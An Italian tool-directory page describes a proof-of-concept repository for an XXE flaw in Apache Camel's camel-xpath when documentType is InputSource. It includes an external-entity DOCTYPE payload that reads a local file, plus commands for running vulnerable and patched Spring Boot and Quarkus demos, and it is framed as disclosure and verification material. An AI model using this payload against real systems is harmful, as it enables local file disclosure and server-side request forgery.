Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-85250 — Proof-of-concept eseguibile di XXE per CVE-2026-85250 in Apache Camel camel-xpath (documentType=InputSource), con demo interessate e corrette per Spring Boot e Quarkus. | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-85250
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e Formazione
GitHuboscerd/cve-2026-85250

CVE-2026-85250

Proof-of-concept eseguibile di XXE per CVE-2026-85250 in Apache Camel camel-xpath (documentType=InputSource), con demo interessate e corrette per Spring Boot e Quarkus.

Vedi Repository
11 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-85250 — camel-xpath: elaborazione di entità esterne XML (documentType=InputSource)

PoC riproducibile ed eseguibile per la vulnerabilità di Apache Camel in cui, con documentType impostato a InputSource, XPathBuilder passava il payload direttamente a javax.xml.xpath, che costruisce un proprio DocumentBuilder utilizzando i default della JDK. L'hardening applicato al tipo di documento predefinito di Camel veniva quindi aggirato: una dichiarazione DOCTYPE che viene rifiutata sul tipo predefinito veniva accettata qui, e l'entità esterna che dichiarava veniva risolta ed espansa nel documento valutato. Un mittente esterno il cui XML raggiunge una tale espressione potrebbe leggere file leggibili dal processo Camel e indurre il processo a effettuare richieste verso host da esso indicati.

RuntimeDirectoryStack
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-xpath 4.22.0 (affetto; corretto in 4.22.1)
Camel Quarkuscamel-quarkus/Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, affetto; controllo corretto CQ 3.40.0 / Camel 4.22.1)

Entrambi i moduli dimostrano il comportamento affetto e quello corretto.

Cosa dimostra

Un file "segreto" benigno viene collocato su disco (cve-2026-85250-secret.txt, contenente una stringa marcatore), che rappresenta un file locale leggibile dal processo Camel. L'attaccante invia XML — come InputStream, che è ciò che viene convertito in un InputSource — recante un DOCTYPE la cui entità esterna fa riferimento a quel file:

<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>

La route valuta xpath("/test/text()").documentType(InputSource.class) sul body.

  • Vulnerabile: il parser InputSource (default della JDK) risolve l'entità esterna, quindi il risultato dell'XPath è il contenuto del file — il marker viene esfiltrato.
  • Corretto: il DOCTYPE viene rifiutato dal parser rafforzato (lo stesso usato dal tipo di documento predefinito), quindi la valutazione fallisce prima che qualsiasi entità venga risolta.
# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: DOCTYPE refused

Riepilogo della vulnerabilità

ProprietàValore
Componentecamel-xpath (XPathBuilder, documentType=InputSource)
CWECWE-611 (Limitazione impropria del riferimento a entità esterne XML)
GravitàALTA
Vettore di attaccoXML non attendibile valutato da un'espressione XPath configurata con documentType=InputSource
ImpattoXXE: divulgazione di file locali e server-side request forgery tramite entità esterne
Versioni interessateDalla 4.0.0 precedente alla 4.18.5, dalla 4.19.0 precedente alla 4.22.1
Versioni corrette4.18.5, 4.22.1, 4.23.0
JIRACAMEL-24475
RiconoscimentoClaude Security Scan Tool

Avviso: https://camel.apache.org/security/CVE-2026-85250.html

La correzione

XPathBuilder ora instrada un InputSource (e un SAXSource) attraverso toHardenedDocument(), che lo converte in un org.w3c.dom.Document utilizzando lo stesso DocumentBuilderFactory irrobustito già usato dal tipo di documento predefinito, prima di passarlo al motore XPath — così entrambi i tipi di documento vengono analizzati con la stessa configurazione e un DOCTYPE viene rifiutato. Si noti che il tipo InputSource ora condivide anche la via di fuga documentata del tipo predefinito: le stesse proprietà di sistema DocumentBuilderFactory che allentano il tipo predefinito allentano anche questo.

Mitigazione se non è possibile aggiornare

Non utilizzare documentType=InputSource su espressioni valutate su XML non attendibile; il tipo di documento predefinito già rifiuta un DOCTYPE.

Disclaimer

Questo repository è pubblicato per scopi educativi e difensivi: per aiutare gli utenti di Apache Camel a comprendere la vulnerabilità, verificare se ne sono interessati e confermare che l'aggiornamento la risolve. Il file "secret" è un marcatore inerte e piantato. Non utilizzare questo materiale contro sistemi di cui non si è proprietari o gestori.

Scarica lo strumento